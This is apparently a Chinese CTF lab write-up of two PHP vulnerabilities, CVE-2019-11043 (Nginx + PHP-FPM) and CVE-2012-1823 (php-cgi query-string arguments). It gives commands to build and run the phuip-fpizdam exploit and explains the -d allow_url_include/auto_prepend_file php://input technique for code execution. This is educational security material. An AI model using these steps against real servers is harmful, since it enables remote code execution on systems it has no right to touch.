php-cve篇(CVE-2019-11043&CVE-2012-1823)

web312

CVE-2019-11043(使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。)

工具是基于go环境的,所以先在kali安装

XML 复制代码
//更新一下apt
sudo apt update
sudo apt upgrade

//安装go
apt install golang

//测试是否成功
go -version


//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

然后利用工具进行远程代码执行的利用go run . "http://351a2d6a-33c8-4a71-b150-2cd1c82b8eac.challenge.ctf.show/index.php"

如果报错如上图,执行命令切换为国内代理:go env -w GOPROXY=https://goproxy.cn

然后回到题目进行rce!

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

web313

CVE-2012-1823

XML 复制代码
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
那么就可以构造cgi中的命令!



cgi模式下有如下可控命令行参数可用:

-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么好查看源码使用-s(只要没有=就会把querystring当作cgi参数)

然后使用-d设置一下配置项,进行任意文件包含!

XML 复制代码
allow_url_include是否允许通过url进行文件包含
auto_prepend_file这个配置项在图片马也经常用到,在任意脚本执行前先执行指定脚本

由于不能用未编码的=,那么我们编码即可!然后还有就是空格的问题,得用+而不是%20,这不知道为啥,好像说是querystring多用+吧!

用php://input伪协议即可!

相关推荐
火山灿火山16 小时前
Qt常用控件(二)
开发语言·qt
西游音月16 小时前
(12)功能实现:Qt实战项目之读写配置文件
开发语言·qt
VBA633717 小时前
VBA之Word应用第四章第五节:段落Paragraph对象的属性(一)
开发语言
whltaoin17 小时前
【Java SE】Java IO体系深度剖析:从原理到实战的全方位讲解(包含流操作、序列化与 NIO 优化技巧)
java·开发语言·nio·se·io体系
csbysj202021 小时前
jQuery 删除元素
开发语言
xxy-mm21 小时前
Javascript 中的继承
开发语言·javascript·ecmascript
quikai19811 天前
python练习第二组
开发语言·python
AI视觉网奇1 天前
Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr
开发语言·c++·算法
wjs20241 天前
并查集快速合并
开发语言
free-elcmacom1 天前
MATLAB与高等数学<1>一道曲面积分题的几何直观
开发语言·数学建模·matlab·高等数学